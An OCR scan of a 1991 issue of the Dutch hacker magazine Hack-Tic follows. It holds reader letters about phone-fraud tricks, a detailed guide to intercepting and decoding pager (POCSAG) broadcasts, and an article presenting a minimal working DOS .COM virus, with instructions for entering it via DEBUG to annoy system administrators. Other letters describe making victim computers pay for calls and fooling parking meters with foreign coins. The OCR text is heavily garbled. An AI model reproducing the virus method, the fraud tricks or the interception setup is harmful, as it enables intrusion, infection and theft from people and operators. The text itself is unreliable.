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COLOFON

Magk-Tic is Nederlands eerste hackerblad. Het
verschijnt zonder enige regeimaat. Het eerste
nummer veracheen 13 [anuari 1885 Nummaers
5/6, 910, 11/12 en 14115 zijn dubbelnummers.
UITGAVE: Met veel moeite door de stichting
Hack-Tic. Deze stichting, maar ook alle me-
dewerkers en lszers van Hack-Tic en hun
familie zijn een vereniging in de zin van artiked
140 Wetboek van Strafrecht,

MET DANK AAN:: The Key, Billsf, Carta, The
Dude, Herman Acker, Peter Poslman, Xokum
3, Nothstar Ken, The Miracle Kid, Rame, Stain-
less Steel, Ing. {Cum Laude), Or. Softwar, RGB
Productions, Josef Virek an Viadimir Llianov.
Verder krijgen we informatie uit de idiootste
kringen.

LWEEP: Garla

ILLUSTRATIES: Koen Hottentot.
HOOFDVERDACHTE: Rop Gonggrijp

C.\.: Archibald Tuttie

KONTAKT: De redaktie is wellicht te bereiken
via postbus 22853, 1100 DL. Amsterdam.
E-mail: ropg@ooc.uvanl. Telefoon en Voice-
Mail 020-6001 480, Fax 020-6900968.

PBLIS: Losse nummers kosten 4 guiden en 50
cant, ean abonnement voor 10 nummess (hoe
lang het ook duurt om die uit te geven) kost 40
piek. Dit is sen dubbelnummer en kost f B.-.
Abannementsgelden kun je overmaken op gi-
ronummer 6065765 t.n.v. de Stichting Hack-
Tic. Abonnementen beginnen met het laatst
uitgegeven nurmmer tenzij je bij de betaling
een ander beginnummer aangeeft.
INTERNATIONAL RATES: Outside Holland or
Belgium, 1Dissues cost US$ 30, DM 60. Airmail
rates are US$ 40, 80 DM. Payment in AmEx
Traveller cheques or cash to P.O. Box 22953,
1100 DL Amstardam, The Netherdands.

AQONNEMENT VOOR HET LEVEN:

Voor £375,.- heb je een levenslang abonnement
op Hack-Tic dat relfs na de dood testamentsir
Op een ander over kan gaan. Het abonnement
duurt zolang Hack-Tic duurt. Nooit meer ge-
zeur met het verlengen van je abonnement!
Buitenlandse Levens-abos krijgen een gratis
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woordenboek van Nedertands naar de taal van
hun keuze. Als je abonnee voor het leven wordt
krijg je alle oude nummers (voor zover vooi-
radig) thuis gestuurd.

PEIVACY: Het is natuurifk via onze bankaf-
schiften makkelijk na te gaan wie er abonnee
zifn. Heb je sen maatschappelijke positie die je
niet wilt vertiezen dan kun je cok geld en adres
in een anveloppe stoppen en de aan onze
postbus (zie "kontakt') sturen, wij weten dan
genoeyq. De Hack-Tic wordt aMijd verstuurd in
ean neutrale envelop, en het abonneebestand
is op onze disks versleuteld. Hack-Tic is ook
verkrijgbaar bij de goede boekhandel,
DISCLAIMER: De informatie in Hack-Tic dient
slechts een educatief doel. Gebruik van deze
informatie zou strafbaar/staatsgevaarlijkf stout
kunnen zijn. De redaktie wijst iedere verant-
woordelijkheid voor gebruik door lezers van de
in Hack-Tic opgenomen informatie af. De men-
ing van een auteur weerspiegelt niet noodzake-
lijkerwijs de mening van de redaktie of uit-
geves. All user servicable parts inside.
NADBUK: toegestaan! Kranten, sijdschwiften,
amroepstichlingen, politiske partijen, wasma-
chinereparateurs etc. mogen zonder vooraf-
gaande toesternming van de redaklie (maar
natuurlijk wal met bronvermelding) stukken
overnemen uit Hack-Tic. De bovenstaande dis-
claimer blijft echier van kracht. Nadruk van de
gehele Hack-Tic is natuurlijk verboden.
NABESTELLEN: Oude nummerskosten £4.-en
kunnen via de redaktiepostbus besteld wor-
den. Sammige nurmemers zi[n schaars en soma
moeailijk te krijgan. Oude nummers worden ver-
stuurd als de volgende Hack-Tic uitkom.
HOE: Deze Hack-Tic werd met Ventura 3.0
gemaakt op een (nog immer gammele) AT-
386/33 meat 4 MB geheugen. Print-outs van elke
pagina werden met een FACIT P6010 laser-
peval gezoeft en daarna ambachtelijk gedrukt.
Toen hebben we het nog even ergens laten
vouwen, nieten: en anijden en klaar was Kees.




Er is weer eens een Hack-Tic uit !

Als je dit leest zijn we er inderdaad weer ecns in peslaagd om cen nummer van
Hack-Tic uit te brengen. Aan dit nummer hebben cen record aantal mensen
meegewerkt. Het bestaat uit een record aantal pagina’s en deze pagina’s zijn op
een nof nooit vertoonde wijze volgepropt.

En julbe dachten dat zo'n produkt tot in het jaar 2000 even duur zou blijven.
Moot niet. Bigna drie jaar lang hebben wij slechts gegniffeld tocn andere bladen
de prijzen verhoogden. Wij spaarden stickum alles op om de argeloze Jezer nu,
met een doffe dreun, te overvallen met cen stevige verhoging. Het abonnement
voor 10 nummers wordt met maar kiefst £2,50 verhoogd tot 40 gulden. Enkele
nummers koslen nu 4,50 en dubbelnummers zoals dit exemplaar worden nu los
verkocht voor de record-prijs van f8,-. Wordt nou maar snel abonnee, want wij
hebben de smaak te pakken.

Dit nummer pas openslaan als j¢ in het pak gehesen bent en de gasdichte deur
achter je in het slot zit, want het 7it vol met computervirussen. Op pagina 14 een
machinctaal-virus voor de PC, "
en op paguna 36 cen virus in
MS-DOS batch (1} Verder op
pagina 38 ecn artike! over tro-
jan-horses in ANSI teksten en
plaatjes.

Zelfs PTT-Telecom kan nu
piet meer om Hack-Tic heen
en heeft zich, zoals je op
pagina 20 kunt zicn, bereid ge-
toond je ljfblad te woord 1e
staanm,

Achterin dit nummer staat
cen tweetal zendertjes om zelf
tc bouwen en op pagina 7 alle
formatie die je nodig hebt —~0 :" /
om z¢lf de informatie van het $ Ny
semafoonnet ople vangen. Op ~7
pagina 48 ccn aanbieding die $
je niet kunt laten lopen als je
zelf een Bluc-Box (of clke an-
dere box} will bouwen en nog
veel, veel meer!
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Lezerspost

Tot veler ongenoegen zagen wij op TV2 een medewerker van Hack-Tic om
"Hacken aan de man tc brengen’.

Wat zijn dit voor taferelen? Zijn de oplagen te klein, of gaan we gezellig mel z'n
allen de commerciéle kant uit en zullen we de masse zoveel mogelyk informeren over
‘wat er eigenlijk allcmaal met mogelijk is’ zodat geen hacker of phreaker meer zijn
trucs kan gebruiken omdat er zo nodig gepubliceerd moet worden.

Dit tot gevolg hebbende dat ook rechercheteams etc. onze vrijetijdsbesteding nog
een keer extra bemoeilijken, tevens door nicuwe wetten op het gebied van *hacken’.

Is dit wat we nodig hebben?! Een blad dat vele hackers & phreakers vericgen-
woordigt en dat tevens bijdraagt aan vrije uitwisscling van technickco en technolo-
gieén lussen hackers onderling, dat nu even de “echte’ massacommunicatiemedia
opzoekt om extra publiciteit en voor de nodige controverse om Hack-Tic te ver-
groten. Eerst een bijzonder fraai voorbeeld van de Nederlandse hacker die op TV
verschijnt om te laten zZien dat hij i de nodige Amerikaanse compulers kan binnen-
komen (Nou, nou, grote jongen hoor). Nu dit.

What’s next ?! Samen met de LOD, 2600, Hack-Tic etc. gezellig een middagge uit
bij CNN 2!

Jongeans, "hacken’ is niet begonnen om commercie en behoort hier ook nict te
erndigen, dus laten we gauw met 2’n allen ecn cind maken aan deze myopia voor het

tc laat is.....
Jack-0

Hack-Tic als commerciele ondemneming.... Het is duidelijk dat je onze boekhouding
nog niet hebt gehacked. Maar even serieus:

Je zegt dat Hack-Tic te veel truuks in de openbaarheid brengt zodat *de echte hackers
en phreaks’ ze niet meer kunnen gebruiken. Wi hebben de tnutks veelal van de mensen
die z¢ ontdekken en die er mee uitgespecid zijn. De tninek waarover je het waarschifnlijk
hebt {C5) stond al op elk (al dan niet Amiga) BBS in het land en werd op enige schaal
verkocht. Wat je dus zegt is dat de informatie vy op alle BBSen mag staan en voor veel
geld te koop mag zift voor en door mensen die er hun eigen zakken mee vullen. Maar
lezers van Hack-Tic, van wie velen er gewoon mee willen spelen, mogen het niet weten.

Dan zeg je nog dat er door Hack-Tic rechercheteams achier je aan komen om ‘je
vrijetijdsbesteding’ onmogelijk te maken. Dat is bulishit: het beste excuus voor massale
vervolging van hackers is een voliedig gesloten scene waar iedereen zijn informatie voor
zich houdt (kijk maar naar de VS). Zofang we als hackers regelmatig laten zien dat we
geen terroristen | dieven [ 2wendelaars | vandalen | spionnen” zijn maar eigenzinnige
ontdekkingsreizipers maken we een kans.

* Doorhalen wat niet van toepassing is
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lezerspost

Toen de telefoonkosten mij bij het backen parten gingen spelen moest ik op zock
naar een methode om deze kosten enigszins in bedwang te houden. Een goede
oplossing bleck het programma TELEREPLICA (e PCM-BBS). Door een "helft”
van het programma als "onzichtbaar” TSR te installeren op de bezochte computer,
en de andere "helft” als communicatieprogramma te gebruiken koa ik die computer
instrueren om, nadat ik de telefoon 1 keer had laten overgaan, mij op te bellen. Dit
alles via een doorgeschakeld nummer (in case of accidents). De kosten komen zo
voor rekeming van de instantie waar de computer staat. Dit fukt uiteraard alleen op
(erg) slecht bewaakte computers die onder MS-DOS draaien. Kennen jullic een
soortgelifk programma voor andere systemen?

HACK-ON!

ACE

Waaaah, ontberingen maken een mens creatief nietwaar..... Denk er echter wel aan
dat de PTT altijd kan uitzoeken waar een nummer naar doorgeschakeld is geweest.

Hallo Redactie,

Misschien eer handig truukje voor de Amerika-gangers. Nou ja, truukje. Het
vereist verder geen technische ingreper of iets in die trend.

Neem uit de States een lading One Cent Coins mee terug (ze zullen dan wel een
beetjc raar kijken bij dc metaaldetector, maar ja). Vervolgens kun je in bijna heel
Nederland bijna gratis parkeren door deze muntjes in de parkeermeter te gooien.
De parkeermeter ziet ze namelijk voor kwartjes aan, Ze hebben cchter wel de maat
maar niet hel gewicht of de magnetische eigenschappen van een kwartje en dus zal
een beetje PTT-telefoon of Pepsi-automaat (bich, red.) ze dan ook niet accepteren.
Copieermachines laten zich wel cens voor de gek houden.

P.S. bestaat er een truuk om met meerdere mensen tegelijk te bellen zonder de
lussenkomst van de PTT?

P.P.S. D¢ gratis naar de VS bellen truuk werkt bij mij nog niet. Ik ben druk bezig
geweest met cen BASIC-programma om de toontjes te genereren maar het is mij niet
geheel duidelijk wanneer de Clear-Forward en Seize nu precies moeten. In het oor
van de operator? Moet je wachten na de Seize? Het lukt e maar niet, is er wellicht

cen stokje voor gestoken?
A.K.
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Leuk trunkje. Volgens ons zijn er nog veel meer (nog schokkendere?) munt-vompati-
biliteiten. Stuur op die hap! Met meerdere mensen tegelifk bellen kan door je (vanuit het
Amerikaanse net, lukt niet vanuit het buitenland) te verbinden met Alliance Telecon-
ferencing, zie daarover het artikel in deze Hack-Tic. Wat betreft hei gratis bellen: het is
een stk moeilijker geworden, maar het kan nog wel. Timings vour Clear Forward en
seize en andere onderdelen van de procedure verschillen per nummer. Experimenteren
is et motto.

Gevreesde Hack Tickers,

Veel hotelcentrales houden bij wanneer en met wie je belt en hoe lang. Wat doen
ze echter nadat je vertrekt met die print-outs? Lijkt me slecht voor de privacy.

De Vortax_ﬂarriﬂr (pseude, op mijn werk lezen ze de Hack-Tic ook)

Hotelcentrales hebben ook lerke kanten. Zo herkennen ze DTMF-toontjes ook nog
als je ze zo zacht geeft dat de PTT-centrale ze nog niet herkent (met een toonkiezer uit
de Primafoon). Zo kun je de centrale eerst een stel enen geven (altijd een lokaal gesprek
voor de computer) terwill de kiestoon gewoon doorgaat en darn met het toetsenbord op
de telefoon internationaal bellen. Als je zoveel cijfers bell past hiet meestal ook niet op
de kolom van de print-out. Twee viiegen in I kiap.

Hoi,

Recentehjk ontdekte ik in Maastricht het nummer 0140. Je krijgt dan een toon.
Na het intoetsen van ecn 2-cijferig nummer (11 werkt goed) en neerleggen wordt je
teruggebeld. Niet direct maar pas na 2 seconden. Je kunt er ook tussendoor nog snel
even ecn ander gesprek maken {max 20 sec.} en dan wordt je alsnog gebeld. Je kunt
zelfs bepaalde kaartcellen laten rinkelen, terwiji de PTT zcpt dat dat nict kan, Duidt
dit op ANI? De mazzel!

B.S.

P.S. Test je kostenteller (of die van een ander uit) uit en bel 09-991111.

G140 is het testnummer voor centrales van hel type AXE (Ericsson). De AXE is {(net
als de SESS) een computer met een zwik telefoons er aan vast. Met andere woorden, die
computer weel aitijd waar je vandaan bell, dit duidt op zich niet op AN{. Maar alle
computercentrales welen waar je vandaan belt als je eigen centrale ook een computer-
centrale is. Op SESS en PRX-A {een computergestuurde relais-centrale) bel je 400 en
dan je eigen nummer om teruggebeld te worden. Qok 911 wil nog wel eens een
spiegelnummer’ zifn.
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SemaFun

In het vorige nummer beloofden we al dat we in dit nummer aandacht zouden
besteden aan het Nederlandse semafoonnet, In dit artikel eerst alles over de werking
van het semafoonnnet en dan een meer praktijkgericht verhaal over het bouwen van
een schakeling die het uitgangssignaal van een ontvanger omzet in enen en nullen.
Mct cen ontvanger, deze schakeling, cen computer en wat zelf geschreven software
(waarvoor alle informatie in het artikel staat) komt cc incens een heleboel informatic
urt de lucht vallen.

Het Nederlandse semafoonnet

Voor het Nederlandse semafoonnet, ook wel semafoonnet 3 genaamd, zijn drie
verschillende typen picpers op de markt, te weten:
® tonc-only semafoons, die in 4 verschillende ritmes piepen
® nummerieke semafoons, dic cen bericht tot 14 cijfers lengte ca ook nog eens 3

verschillende tone-only berichten kunnen ontvangen
® alfanummerieke semafoons, zij kunnen ASClI-berichten tot 80 tekens ontvangen

maar 0ok nummericke berichten en 2 soorten tone-only berichten.

Er zijn in Nederland twee semafoonnetten in gebruik; het Nederlandse net op
154.9875 MHz cn het Beneluxnet op 164.3500 MHz. Elk net heeft een theoretische
capaciteit van 2 ™ 21 semafoons (2097152). Het groatste deel van de nummerieke en
alfanummericke semafoons 7it op het Nederlandse net, bijna alle tone-only sema-
foons zitten op het Benelux net. Elke semafoon voor een bepaald net heeft cen uniek
nummer van 21 bits. D¢ decimale weergave van dit getal noemen we de RIC, de
Recciver Identification Code.

Op de PTT-semalfoons is deze RIC afgedrukt, voorafgegaar door 15 voor het NL
nct en 16 voor het Benclux net. Dexe 15 en 16 zijn de cersie twee cijfers van de
gebruikte frequentie. Op semafoons dic nict bij de PTT #jn gekocht staat het 7
cijfcrige RIC en de gehele frequentic afgedrukt. Als we het verder in dit artikel
hebben over het RIC dan bedoclen we de alleen de "echte” RIC, de laatste zeven
ciffers van het getal dat op de semafoon staat. Dit getal staat los van het 06-
SXXXXXXX nummer waarmee de scmafoon wordt aangekozen: een database bij
de PTT koppelt aan cen telefoonnummer 1 of meerdere RICs die vervolgens worden
uitgezonden, eventucel gevolgd door het opgegeven bericht. Als een nummer meer-
dere picpers aankiest gaat het om een groepsoproep (bijveorbeeld cen kudde
brandweer). '

Om mensen met cen semafoon te bereiken zijn een aantal opties beschikbaar. Ecn
tone-only semafoon heeft 4 telefoonnummers {cindigend opl,23endofop6,7,8¢en
9) die je gewoon kunt kiezen. Na cen kostentik, de mededeling "semafoonaanvraag
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geaccepteerd” en een pieptoon wordt de verbinding verbroken. De semafoon piept
dan in een ritme dat aan de gebruiker aangeeft welk van de vier nummers is gekozen.
Een nummerieke semafoon heeft ook vier nummers, maar de eerste {die dus eindigt
op 1 of 6) laat een opname horen die zegt "Toets nu Uw informatie in, sluit af met
een hekje en wacht ap de acceptatietoon”. Zodra je bet bekje tikt knjg je nog twee
aanvullende kostentikken (’s avonds 1) en het bekende "semafoonaanvraag geaccep-
teerd” gevolgd door de pieptoon. De andere drie nummers zijn alleen voor tone-only
oproepen.

Ecn alfanummerieke semafoon kan ock op deze manier nummeriek worden
aangekozen, maar verder kan de opbeller met een modem kontakt leggen met een
compuier ¢n zo kunnen behalve tone-only en nummerieke berichtea ook alfanum-
merieke berichten tot 80 tekens worden verzonden. De nummers (tot 2400 bps) van
deze computerdienst zijn 06-57506575 {Bencluxnet) 06-58506585 (NL nct) en de X25
(Datanet-1) nummers zijn 1170575 (Benchuxnet) 1170506 (NL net). Alfanummericke
semaloons zitten hoofdzakelijk in de volgende series: 06-57500000 1/m 06-57999999
voor de Benclux en 06-58000000 t/m 06-5875XXX voor bet NL-net.

Wat zit er in de lucht?

Leuk allemaal, maar boe wordt dit allemaal verzonden? Elk net bestaat uit een
hele serie steunzenders, allemaal op dezelfde frequentic. Het signaal dat zij uitzen-
den is FSK (Frequency Shift Keying) met een snelheid van 512 bits per seconde. De
werkelijke uitgezonden frequentics liggen 2.25 KHz onder en boven de draaggolf.
De laagste frequentie stelt cen binaire 1 voor, de hoogste cen 0. Het gebruikte
protocol heet POCSAG, en 15 bij de CCIR (Comitee Consultative International de
Radio) bekend als Radio Paging Code no. 1.

Als je met een scanner naar de semaloonuitzendingen zou luisteren zou je twee
soorten uitzendingen horen. je hebt uiizendingen die door ¢en stabicle pieptoon van
1 seconde voorafgegaan worden en dan overgaan in cen onregelmatig gercutel. Dit
is de werkelijke data waar het ons om gaat. Dan heb je ook nog uitzendingen waarbij
direct het onregelmatige gereutel klinkt. Dit zijn testuitzendingen voor het systeem
zclf, wij negeren ze.

Elke uitzending wordt begonnen met een "preamble”. Dit is ecn patroon van om
en om enen en nullen om de ontvanger te synchroniseren. In totaal gaat het om
mmstens 576 bits, dus ietsje meer dan een seconde. Omdat het patroon regelmatig
is hoor je dil als een mooie stabiele pieptoon.

Nade preamble wordt de data verzonden in "woorden” van 32 bits. Allercerst volgt
een "syncword”, een speciaal afgesproken code, en dan komen 16 woorden van 32
bits. Als er dan nog meer te melden is volgt weer een syncword, en weer 16 woorden
van 32 bits. Is er niets meer te melden dan wordt het huidige blok van 16x32 bits
volgemaakt met "idlewords” Na cen syneword volgen nog twee idlewords en vervol-
gens 2 "stopwords”.
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Zo'n biok van 16 x 32 bits met craan voorafgaand een syncwoord van ook 32 bits
nomen we een "batch”. De 16 x 32 bits verdelen we dan ook nog eens in 8 frames dic
elk uit 2 woorden van 32 bits bestaan. Deze frames nummeren we van 0 tot en met 7.
Even een tekeningetje van con batch om het geheel te verduidelijken:

PREAMBLE [8] | j | 10 111000 bEdE)IsI L] ---
| FRO | PR1 |FR2 | PR3 | FR4 | FRS |PR6 [FR7| |FRO| ...

SYRCWORD = Q111 1104 1101 0010 0001 0101 I101 1000
IDLEWORD = 0111 1010 1000 1001 1100 0001 1001 0111

Het adreswoord

Als er een semafoon wordt opgeroepen dan worde er eerst cen adreswoord
uitgezonden. Dit adreswoord bevat een nul, de cerste 18 bits van het RIC, de 2 bits
van de fucticcode (hierover straks meer), 10 CRC error checking bits en een parity
bit. De laatste drie bits van bet RIC worden niet uitgezonden maar zijn te bepalen
door te kijken naar het frame waarin het adreswoord zit. Zit het adreswoord
bijvoorbecld in frame nummer vier dan voegen we binair "100" toc aan de uitgezonden
18 bits. Deze hele constructie heeft tot doet om ontvangers na het ontvangen van het
eerste syncword uit te kunnen zetten tot "hun” frame voorbijkomt. Het voordeel ligt
dan in de besparing op het stroomverbruik: de batterijtjes van de semafoon gaan
langer mee doordat de semafoon maar naar cen beperkt deel van de uitzending hoeft
te luisterca, op andere tijdstippen kan de ontvanger uit.

Overigens is het nict zo dat voor elke oproep 1 uitzending is: oproepen worden
voor een korte periode opgespaard en dan in 1 stapel uitgezonden. Op drukke
tijdstippen kunnen tientallen oprocpen in 1 uitzending gepropt worden en worden
de vitzendingen ook navenant langer.

De functiecode

0: Tone-only of nummeriek, 1 cn 2 zju altijd tone-only en 3 is tone-only of
alfanummerick. Of het hicr een Tone-only dan wel cen andere oproep betreft is af
te leiden uit het al dan nict volgen van een datawoord na het adreswoord. Volgt er
geen datawoord dan is het cen tone-only oproep. Na de functiecodes 1 of 2 volgt
nooil cen datawoord. Datawoorden volgen altijd direct na het adreswoord waar ze
biy horen: ¢r zit nooit een idle-woord tussen. Wel kar eenbericht door een syncwoord
onderbroken worden {deze zitten immers aan het begin van elke batch).
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Het datawoord

{(nummeriek)

Het datawoord bestaat uit cen 1, 20 informatiebits, 10 CRC-Error check bits en
1 parity bit. De 20 informatie-bits representesen in een nummerieke oproep (als er
dus een functiecode 0 in het laatste adreswoord stond} precies 5 cijfers. Elk cijfer
wordt weergegeven door 4 bits volgens de volgende tabel. Let op: de laatste bit in de
tabel wordt het eerste uigezonden, De cijfers zitten wel in de goede volgorde in de
datastroom. Is het aantal verzonden cijfers geen veelvoud van 5 dan is het faatste
dataword opgevuld met spaties.

0aQo 9 0100 4 1000 & 1100 Spatie

0a0x 1 0101 5 1001 & 1101 -

0010 2 D110 & 1010 Reserve 1110 |

o011 3 D111 7 1011 U {Uxgent) 1111 |
Het datawoord
(alfanummeriek)

Betreft het een alfanummerieke oproep dan staan er in de 20 informatie-bits van
bet eerste datawoord twee complete karakters van 7 bits (ASCII) en 6 bits rest. Deze
7 bits staan weer in de "verkeerde” volgorde (LSB eerst). Alle nict gebruikte ruimte
in het laatste datawoord wordt opgevuld met nullen. We drukken hier geen ASCII-
tabel at: die zoek je maar op in je favoriete computermanual (RTFM dus).

De Foutcorrectie

Elk codewoord beeft 21 informatiebits, Deze corresponderen met de cocfficien-
ten van een polynoom met exponenten van x¥ naar beneden tot en met x10. Deze
polynoom wordt modulo-2 gedeeld door de genererende polynoom x™ + 3 + 8
+ %8 4+ x° + 8 + 1. De foutcorrectie-bits corresponderen met de cocflicienten van
de termen x” t/m %@ in de restpolynoom die na deze deling overbiijft. Het gehele blok
van 31 bits, informatie en error-correctie komt overeen met de cocfficienten van een
polynoom die integraal modulo-2 deelbaar is door de genererende polynoom. In
geval van geestelijke paniek kunt U bellen met 06-11 of de wiskundige in Uw eigen
woon- of verblijfplaats, Oh ja, het 32’ste bitje is ecn even-parity over het hele
codewoord,

Het komt er op neer dat als er 1 of 2 bits fout uit de ontvanger komen, de
foutcorrectic dit op kan lossen. Is er meer fout dan geeft ook de foutcorrectie het op.
Als dezec sitnatie zich 2 maal achter elkaar voordoet dan dient de semafoon (en dus
ook onze software) er vanuit te gaan dat de uitzending is afgelopen. Het stopwoord

Hack-Tic 14-15/199] 140




dat aan het eind van elke uitzending 2 maal wordt vitgezonden is op het moment van
uitzending al "fout” en zal dus nooit door de foutcorrectic heenkomen.

Stopwoord

Aan het eind van elke vitzending worden twee stopwoorden uitgezonden om er
zeker van te zijn dat de ontvangers errors krijgen en weer naar cen preamble gaan
zoeken. Dit stopwoord is echter in de documentatic over POCSAG nergeas terug te
vinden, en in principe is alles wat niet door de foutcorrectie heenkomt te gebruiken.
Alsje slim bent gebruik je het dus niet in je software, er isimmers geen enkele garantie
dat andere POCSAG systemen in de wereld hetzelfde woord gebruiken, en er is zelfs
geen garantie dat ze het hier nict veranderen, Verder blijft in dat geval je programma
hangen als het stopwoord fout wordt ingelezen,

Nogmaals een tekeningetje; om het allemaal samen te vatten is hier een voorbeeld
van een witzending zoals je die in de ether zou kunnen tegenkomen. In frame 1 wordt
cen preper opgeroepen met een boodschap die de volgende drie woorden beslaat.
Dan volgt na een serie idlewoorden een tone-only oproep (geen data) in frame 4. In
frame 7 begint een oproep waarvan de boodschap doorgaat na het syncwoord.
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Je eigen semafoon-ontvanger

Om zelf dit signaal te decoderen beb je allereerst een scanner of andere ontvanger
nodig dic dit signaal kan optvangen. Een goedkope kristalscanner is voldoende, je
moet dan wel cen kristal bestellen. Modernere computerscanners geven meer luxe,
hier kun jc de frequentie gewoon wtikken . Tot zover was dit artikel voor de leck nog
enigszins te volgen, voor de rest van dit artikel is een zekere basiskennis inzake
electronica helaas zeer beslist een must.

Dit audio-signaal voeden we vervolgens aan een zellgeknutseld stukje etectronica
dat er enen en nulten van brouwt. Het schema hiervoor staat op de pagina hiernaast.
Opgelet: deze enen en nullen staan niet gegarandeerd in de juiste polariteit. Het kan
zyn dat de ene utizending in de juiste polariteit staat en de volgende uvitzending
“verkeerd om”. Het is dus zaak om je software zo te schrijven dat dat niet nitmaakt.
Maar laten we nict op de zaak vooruit lopen: hiernaast staat het stukje electronica
om je scanner aan je computer te koppelen.

Nu heb je dus een TTL-niveau uitgangsbit (space = 0 Volt, mark = 5 Volt). Deze
bt zou je bijvoorbeeld aan de Printer-Ready pin van je printerpoort kunnen hangen.
Ook joystick-ingangen, interrupt-touwtjes en zelfbouw bus-interfaces komen in aan-
merking, jc zict maar. Als je computer eenmaal het verschil tussen een 1 eneen 0 op
dcze mgang kan zien kan je soldeerbout uit het stopkontakt en de multimeter terug
in de kast. Nu komt hel [astigste stuk: achter je toetsenbord.

De nu te schrijven software gaal allereerst zoeken naar de prcamble. Is deze
gevonden dan schuift de computer de bits net zo lang door ecn 32-bits schuifregister
tot ket syncwoord gevonden is. Om te zorgen dat voornoemde polariteit geen roet in
het eten goot vergelijkt de software de inhoud van het schuifregister met syncwoor-
den  beide polariteiten. Zodra het eind van het syncwoord gedetecteerd is (en dus
ook de polanteit bekend 1s) kan het echte werk beginnen.

Lees nu steeds 32 bits in er roep je foutcorrectie-routine aan. Heb je geen zin om
een hele correctie-routine te schrijven dan zou je kunnen volstaan mel een routine
die allecn maar kijkt of de data goed of fout is. Kijk dan of je te maken bebt met een
adres-, idle-, sync-, of datawoord. Zet vervolgens de informatic om in het gewenste
formaat endoc ermee wat je wilt. Als de foutcorrectic routing twee maal achier elkaar
faalt is de uitzending voorbij en gaat de software weer zocken naar een nieuwe
preamble. Als je cen beetje een snelle computer hebt kun je natuurlijk meerdere
ontvangers aan 1 systeem koppelen en bijvoorbeeld de informatie van zowel het
Nederlandse als het Beneluxnet op 1 scherm weergeven. Niets let je om een micro-
controller te programmeren om al het vuile werk te doen zodat je computer een mooi
9600 bps seneel signaal binnenkrijgt.
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Het kortste virus ter wereld?

Volgens een bekend virusonderzoeker komt bet kertste (DOS) virus in de wereld,
ca 135 bytes, nit Bulgarije. Welou, hieronder vindt u een oer-hollands, werkend virus
van maar liefst 110 bytes (109 na de eerste besmetting)! Oranje boven!

Dit virus besmet alleen *.COM-be-
standen in de huidige directory. Er is
geen trigeer; het virus verspreidt zich-
zelf alleen en doet verder niets. Het virus
werkt als volgt: Ecrst wordt de virus
code pekopieerd naar een hoger seg-
ment. De DTA wordt verplaatst hoog in
het huidige scgment. Dit is nodig om een
eventucle command tail niet te owver-
schrijven, Daarna wordt naar ,.COM be-
standen pezocht met de DOS "FIND
FILE" funktics.

Als een bestand pevonden s, wordt
dit ingelezen na de viruscode. Nu wordt
gecontroleerd of het bestand al eerder
besmet i1s door naar de eerste instruktie
te kijken. In de virus code is dit "MOV
SI%, wat nauwelijks voor zal komen in
een onbesmet .COM bestand, Als bet
bestand al besmet is, zoekt het virus ver-
der. Anders wordt de file pointer terug-
gezel en de nieuwe code (virus + fAle)
teruggeschreven. Hel virus blijfl zoeken
tot alle .COM-hestanden in de huidige
dir gecontroleerd zijn. Hierna wordt de
porspronkelijk programmacode omlaag
geschoven tot offsct 0100 hex, waar
* COM programma’s altijd moelen be-
ginaen. Dit overschrijft het virus; de ver-
plaatsinstrukiies worden dus op offset
OFC hex gezet. Het virus maakt een re-
turn naar dit adres. Het eerstvolgende
adres is dan 0100 hex, waar de program-
macode begint. De viruscode komt dus

Hack-~Tic 14-15/1951

14

altiyd eerst, en wordt overgeschreven
mct het cigenlijke programma. Het ge-
bruik van de XCHG ea CWD instruk-
ties lijkt op het ecrst gezicht pict zinvol,
maar deze bereiken het gewenste resul-
taat en cemen bovendien maar 1 byte in

Ook lijkt het meer logisch om de
LODSB/STOSB/LOOP mstruktics te
vervangen mel "REP MOVSE'. Dat
hadden wij ook graag willen doen, hel
virus zou dan maar 105 bytes lang zijn
geweest, maar de krakkemikkige rotzoo
die de onheilige drie-ecenheid (1BM,
INTEL, MICROSOFT} geschapen
heeft, wordt kraokzinnig van al le grote
geheugenverplaatsmgen met de "REP”
instruktic, en bijna het gehele sepment
mo¢! omlaag geschoven worden.

Om het virus 2o klein mogeljk te
houden, 1s er geen error-checking, Een
read-only bestand kan eventueel
problemen veroorzaken. Dito cen be-
stand groter dan FEX) hex bytes (zeer
onwaarschijnlijk, trouwens). Sommige
programma’s  kunnen  eventucel
problemen krijgen met de DTA, hoewel
dit niet vaak zal voorkomen. Het sys-
teem moet ook minstens 128k vrij pe-
heugen beschikbaar hebben. Dit alles is
te verhelpen met nog ca 15 bytes code,
maar wij wilden het virus zo klein moge-
lijk houden, en deze problemen zullen



nauwclijks voorkomen. Verder werkt dit
mini-virus voortreflelik.

Sommige bedrijven zijn zo bang voor
virussen dat ze netwerken met allecn
terminals zonder disk drives hebben,
zodat de gebrmkers geen eigen software
op het systeem kunnen zelten. Wie de
beheerders van dergelijke systemen
goed gek wil maken kan dit virus gewoon
intikken als hex bestand mits DEBUG
op bet systeem staat. Tik "DEBUG
TIC.COM" in, daarna "¢”, en daarna de
hex waardes. Trek 100 hex af van de
laatste offset, tik dit (6E) met het "rex’
commando in, cn afsluen met "w”, Run
nu het programma "TIC.COM". Dit is

voldoende om alle .COM bestanden w
de directory te besmetten. "TIC.COM"
kan dan nitgewist worden.

Wie hetzelfde met minder meent te
kunnen doen, knjgt een overheerlijke
Hack-Tic appeltaart als beloning (al-
lcen de beste inzending, natuurlijk).

—— v.. I L Uliﬂnﬂv

P.S. Aan de wirus-onderzockers: dit
virus heet het Hack-Tic Demovirus, en
dient dus niet als het "109-virus’ of onder
andere namen in de officicle virus lijsten
te worden opgenomen,

m

Hack-Tic heeft
een faxmasjien!

De tijd dat je lelijk in je maag zat
mct defensiegeheimen is voorbij: fax
maar naar Hack-Tic! Wij hebben een
feuk Taiwanees faxmasjientje op de
kop getikt en we hebben het hangen
op telefoonoummer 020-6900963.

Je artikelen voor Hack-Tic hoef je
niet meer e modemen (zodat ze gelyk
van jouw disk op de onze komen), je
kunt 7z¢ nu uitprinten en faxen, zodat
wij ze weer belemaal in moeten tikken.
Je moet als hi-tech tijdschrift ne een-
maal met je tijd meegaan nictwaar?

En een
Voice-Mail Systeem

Qok hebben we de hand weten te
leggen op een vosce-mail kaart voor
een PC. Gecombineerd mel een XT-
tje met 20 MB harddisk maakt dat ecn
systeem dat z¢lfstandig informatic kan
geven over Hack-Tic, Je kunt er ook
priveberichten op inspreken voor de
Hack-Tic medewerkers, Dit alles is te
besturen met de toonljes die geprodu-
ceerd worden door DTMF-telcfoons
en toonkiezers, Als je nog een puls-
telefoon hebt kun je het systeem nog
altyd gewoon als antwoordapparaat
